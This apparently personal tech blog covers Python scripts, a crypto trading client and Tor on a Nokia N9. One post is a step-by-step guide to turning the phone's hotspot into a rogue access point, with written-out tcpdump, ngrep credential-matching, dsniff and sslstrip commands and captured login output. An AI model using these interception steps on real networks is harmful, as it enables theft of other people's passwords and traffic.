code is poetry…

live tweets in command line using python —

Who hasn’t always opened a linux terminal? Well, for the ones who do, here’s a little python script which brings you live tweets directly to your bash, using your keywords

How it looks?






How it works?

Create your twitter application here:

fill the following four strings in the python script with your Keys/Tokens in the #Auth section:


Where’s the code?

Here you go:


How to run it?

As it’s using the tweepy module, you need to install it:

sudo pip install tweepy

and finally execute it:



have fun!

replacing bookmarks in a word document with python —

The last days I was fighting around with how to replace a bookmark in a word (docx) document.

After years of python programming I thought that this would be a simple task, helped by a python module. weeell emmm, I was wrong!

What I learned was that a word document is a simple zip-file, with a folder structure and a few xml-documents.

Here is a code which uncompresses the file, changes the defined bookmarks and recompresses it (in a new file) as a word document:



It’s all pretty basic, but it should help understanding the stupidness of microsoft!!!


pcryptsy – a graphical – trading client —

pcryptsy is a GUI for with the ability to calculate and plot charts

pcryptsy is a complete python application with PyQt4 frontend (QtCore, QtGui, QtWebkit).

It’s using a modified version of PyCryptsy module to connect to the official web-API.

You need to have python-matplotlib installed to plot graphics – pcryptsy is using parsed JSON data from website to get the coin values (files can get up to ~10Mb)

  • keep overview of your current balances:


  • keep track of current altcoin values as well as sell/buy orders:


  • create and delete buy/sell orders:


  • view live-website inside:


  • calculate and plot EMA chart based on the last 22 days:


  • debian requirements:


  • to install requirements:

sudo apt-get update && sudo apt-get install python-qt4 python-matplotlib

All you need is your API Public Key and Private Key ( – settings)

  • To run it, simply type:



python pcryptsy

Here is a beta version which was tested on a debian system (python3)

as well as on a Windows XP SP3 (python 2.7):

[download id=”1″ display=”name”]
MD5: 08d20dca5f4e716bbd31c5eae297a062

[download id=”2″ display=”name”]
MD5: ed8b9f217e549aa125e98f2bad4a06ba

Try it and have fun!






BTW: I tryed to create, both, linux and windows executables – linux executables work with a size around 100MB which is too big in my opinion and windows? god damn, who needs it anyway…


the n9 as an evil access point #mitm —

Prelude: I used it in all these tools for development and privat use, e.g. you shouldn’t use it in a coffee-shop, call your hotspot “Free-Wifi” and turn the encryption off ūüėõ

The last month I looked for a way to use my n9 as package sniffer and I figured out some usefull stuff …

… my train of thought was – how can I sniff whatever it’s transmitted through my stock wifi-hotspot (joikuspot) …

… so here’s a guideline of what I got working and how it works:


My device:

Nokia n9, Linux RM 696 open mode, meego Harmattan PR1.3



1. tcpdump + tcpxtract
2. ngrep
3. dsniff [dsniff itself]
4. ssldump?

1. tcpdump + tcpxtract:

tcpdump is a very powerful package analyzer – you can dump nearly all traffic with this tool …

tcpxtract is a tool to rebuild data from tcpdump-pcap files…

let’s install the packages [and dependencies]:

apt-get install tcpdump libpcap0.8

I took the tcpxtract_1.0.1-5_armel package out of the debian repository.

dpkg -i tcpxtract_1.0.1-5_armel.deb

now fire up the wifi hotspot, connect with a client and let the magic begin:

mkdir tcpxtract_out/
tcpdump -i wlan0 -n -s 1500 -w tcpdump_http.pcap port 80

# we are starting tcpdump on interface [-i] wlan0, set the snaplen to 1500 [-s], don’t convert addresses to names [-n] and listen only on port 80 [port 80]

open a website on the client … tcpdump will capture it.

when you think you are finished, kill tcpdump [crtl+c]

now we will convert the captured traffic:

/home/user/dev/tcpplay # tcpxtract -f tcpdump_http.pcap -o tcpxtract_out/

Found file of type “html” in session [ ->], exporting to tcpxtract_out/00000000.html
Found file of type “png” in session [ ->], exporting to tcpxtract_out/00000001.png
Found file of type “png” in session [ ->], exporting to tcpxtract_out/00000002.png
Found file of type “png” in session [ ->], exporting to tcpxtract_out/00000003.png

Found file of type “png” in session [ ->], exporting to tcpxtract_out/00000021.png

it looks like this.

I LIKE! ūüôā

2. ngrep

ngrep is a very powerful tool as well – you can analyze traffic live…

I’m going to show you how to filter the traffic by some regular expressions to look for logins:

first install the necessary dependencies and ngrep itself:

apt-get install lipcap0.8

here’s ngrep_1.45.ds2-9_armel [from debian repository]

dpkg -i ngrep ngrep_1.45.ds2-9_armel.deb

now fire up the wifi hotspot, connect with a client and let the magic begin [again ;)]:

/home/user/dev/sniffer # ngrep ‘[&\s?](?:login|user(?:name|)|p(ass(?:word|wd|)|w|wd))[\s:=]\s?([^&\s]*)’ -q -i -d gprs0 port 80 or port 25 or port 110 -l
interface: gprs0 (
filter: (ip or ip6) and ( port 80 or port 25 or port 110 )
match: [&\s?](?:login|user(?:name|)|p(ass(?:word|wd|)|w|wd))[\s:=]\s?([^&\s]*)

T -> [AP]

# we are starting ngrep with a regular expression filter, tell it to be quiet [-q], to ignore case [-i], to use interface gprs0 [-d] (i had segment faults when I started it on wlan0 … from time to time), -l to make the stdout line buffered [-l] (usefull when capturing to a file {2>&1 >ngrep.log}) and filter the traffic by ports [port 80 or port 25 or port 110]

… What it doesn’t do is capturing htaccess logins, I use dsniff for it.

3. dsniff

dsniff? – omg, it’s awesome! it includes:

arpspoof  РSend out unrequested (and possibly forged) arp replies.
dnsspoof  Рforge replies to arbitrary DNS address / pointer queries on the Local Area Network.
dsniff    Рpassword sniffer for several protocols.
filesnarf – saves selected files sniffed from NFS traffic.
macof     Рflood the local network with random MAC addresses.
mailsnarf – sniffs mail on the LAN and stores it in mbox format.
msgsnarf  Рrecord selected messages from different Instant Messengers.
sshmitm   РSSH monkey-in-the-middle. proxies and sniffs SSH traffic.
sshow     РSSH traffic analyser.
tcpkill   Рkills specified in-progress TCP connections.
tcpnice¬†¬† – slow down specified TCP connections via “active” traffic shaping.
urlsnarf  Рoutput selected URLs sniffed from HTTP traffic in CLF.
webmitm   РHTTP / HTTPS monkey-in-the-middle. transparently proxies.
webspy    Рsends URLs sniffed from a client to your local browser (requires libx11-6 installed).

dsniff does have some more dependencies than the other tools I described:

I took the libdb4.6_4.6.21-16_armel and libnids1.21_1.23-2_armel from the debian repository.

Here’s dsniff_2.4b1+debian-18_armel

apt-get install libnet1 libpcap0.8 libssl0.9.8 openssl

dpkg -i libdb4.6_4.6.21-16_armel.deb

dpkg -i libnids1.21_1.23-2_armel.deb

dpkg -i dsniff_2.4b1+debian-18_armel.deb

whooop! – should be working now ūüôā

dsniff itself is very simple to use – it has a build-in filter. I used it to sniff the authentication for htaccess logins as well as ftp logins:

/home/user/dev/sniffer # dsniff -m -s 1500 -i gprs0
dsniff: listening on gprs0

01/31/13 10:45:02 tcp -> (http)
GET / HTTP/1.0
authorization: Basic dGhpc2lzOmh0YWNjZXNzZHVtcA== [thisis:htaccessdump]

01/31/13 10:47:22 tcp -> (ftp)
USER thisis
PASS ftpdump

# we are starting dsniff with automatic protocol detection [-m], set the snaplen to 1500 [-s] and listen on interface gprs0 [-i] … again I got segment faults when listening on wlan0.

4. sslstrip?

sslstrip strips down your https connections to http …

… I found a way to pipe your local connection through sslstrip, but not with the hotspot connected client.

All I did was to modify my APN connection – I activated the http_proxy on and port 10000, and changed a gconf setting (gconftool-2 -t string -s /system/proxy/mode “manual”) – deactivate and activate the connection again and fire up sslstrip.

An alternative for testing is to set the http proxy in firefox.

What I figured out was: The Joikuspot doesn’t use the APN entry from the phone settings, because I tried to add a second APN with some changed settings and it won’t show up in the properties of Joikuspot. – Maybe that’s why it doesn’t take the proxy settings from the APN … anyway, I’m still working on a workaround!

Here’s sslstrip-0.9 (taken from

/home/user/dev/sniffer/# apt-get install python-twisted-web

/home/user/dev/sniffer # tar xzf sslstrip-0.9.tar.gz && cd sslstrip-0.9

/home/user/dev/sniffer/sslstrip-0.9 # python build
running build
running build_py
running build_scripts
copying and adjusting sslstrip/sslstrip -> build/scripts-2.6
Cleaning up…

/home/user/dev/sniffer/sslstrip-0.9 # python install
running install
running build
running build_py
running build_scripts
copying and adjusting sslstrip/sslstrip -> build/scripts-2.6
running install_lib
running install_scripts
copying build/scripts-2.6/sslstrip -> /usr/local/bin
changing mode of /usr/local/bin/sslstrip to 755
running install_data
running install_egg_info
Removing /usr/local/lib/python2.6/dist-packages/sslstrip-0.9.egg-info
Writing /usr/local/lib/python2.6/dist-packages/sslstrip-0.9.egg-info
Cleaning up…

/home/user/dev/sniffer/sslstrip-0.9 # ln -s /usr/local/bin/sslstrip /usr/bin/

/home/user/dev/sniffer/sslstrip-0.9 # gconftool-2 -t string -s /system/proxy/mode “manual”

/home/user/dev/sniffer/sslstrip-0.9 # sslstrip -l 10000 -w ../sslstrip.log &

/home/user/dev/sniffer/sslstrip-0.9 # tail -f ../sslstrip.log

2013-01-31 23:57:56,683 SECURE POST Data (

… I also got the webmitm/mitmproxy running (fakes SSL-certifications, but as it’s not a very efficient and elegant way to work, so I won’t explain it)


tor (the onion router) on meego harmattan —


here’s a quick and dirty howto run the tor-service on your meego/harmattan device for anonymous internet traffic:


  • inception
  • opensh_1.00_armel (incept the package … you need it to gain more rights)

after the inception of opensh, you can try to check if it worked:

~ $ id
uid=29999(user) gid=29999(users) groups=0(root),20(dialout),44(video),670(pulse-access),29999(users),30011(metadata-users),30016(gallerycoredata-users),30019(calendar),9990210,9990276,9990277,9990279,9990281, 9990282,9990284,9990285,9990286,9990287,9990288,9990289,9990609
~ $ opensh

/home/user # id
uid=0(root) gid=0(root) groups=0(root),1(daemon),2(bin),3(sys),4(adm),5(tty),6(disk),7(lp),8(mail), 9(news),10(uucp),12(man),13(proxy),15(kmem),20(dialout),21(fax),22(voice), 24(cdrom),25(floppy),26(tape),27(sudo),29(audio),30(dip),33(www-data),34(backup),37(operator),38(list),39(irc),40(src),41(gnats),42(shadow), 43(utmp),44(video),45(sasl),46(plugdev),50(staff),60(games),100(libuuid), 101(debian-tor),669(pulse),670(pulseaccess),671(pulsert),29996(cal), 29999(users),30002(input),30003(i2c),30004(adc),30005(upstart),30010(crypto), 30011(metadatausers),30012(phonet),30013(signon),30014(csd), 30015(messagebus),30016(gallerycoredatausers),30017(acm), 30018(osa),30019(calendar),30020(libaccountsnoa),30021(lpm), 30022(visualreminder),30023(nfc),30024(location),30025(slpgwd), 30026(haldaemon),30027(powerdev),30028(developer),30029(ssh),65100(spool), 65534(nogroup),9990001,9990004,9990245,9990256,9990257,9990258,9990259, 9990260,9990261,9990262,9990263,9990264,9990265,9990266,9990270,9990276, 9990277,9990279,9990281,9990282,9990284,9990285, 9990286,9990287,9990288,9990289,9990294,9990297,9990298,9990300, 9990301,9990302,9990306,9990307,9990308,9990309,9990313,9990314, 9990315,9990316,9990317,9990320,9990326,9990327, 9990330,9990331,9990332,9990334,9990337,9990346,9990352,9990353, 9990355,9990356,9990361,9990367,9990368,9990374,9990376,9990377, 9990381,9990382,9990384,9990385,9990387,9990388, 9990390,9990391,9990393,9990394,9990396,9990397,9990401,9990402, 9990403,9990404,9990405,9990406,9990407,9990408,9990409,9990410, 9990413,9990414,9990415,9990416,9990417,9990418, 9990419,9990420,9990421,9990422,9990423,9990424,9990427,9990430, 9990433,9990438,9990439,9990440,9990442,9990448,9990453,9990454, 9990466,9990478,9990482,9990483,9990491,9990492, 9990493,9990494,9990497,9990500,9990501,9990508,9990511,9990512, 9990521,9990526,9990534,9990536,9990547,9990574,9990575,9990577, 9990578,9990588,9990590,9990594,9990649

whooop … looks good!

now we come to some tricky stuff:

  1. enable rzr’s repository (setup repository)
  2. install tor through command line: apt-get install tor

… apt will now go crazy with alot of permission errors:

  • chown: /var/lib/tor: Operation not permitted

to fix this – change the ownership for all the errors manually (through opensh):

  • chown debian-tor:debian-tor /var/lib/tor
  • chown debian-tor:debian-tor /var/run/tor

… now we have to check if we use our phone as dns-server …

the file “/etc/resolv.conf” should contain the following string:


… the next step is to configure the torrc file “/etc/tor/torrc”

mine looks like this:

SocksPort 9050 # what port to open for local application connections
SocksListenAddress # accept connections only from localhost
AutomapHostsOnResolve 1
TransPort 9040
DNSPort 53
RunAsDaemon 1

… tor should be staring up as a daemon now! ūüôā

to make things easier, I packed some scripts together to handle tor through 3 desktop icons:

  1. to start tor for all traffic
  2. to start tor in background (for example: in fennec/firefox set socks proxy to localhost:9050)
  3. to stop tor and unset system-wide proxy settings


here you can download torswitch0.1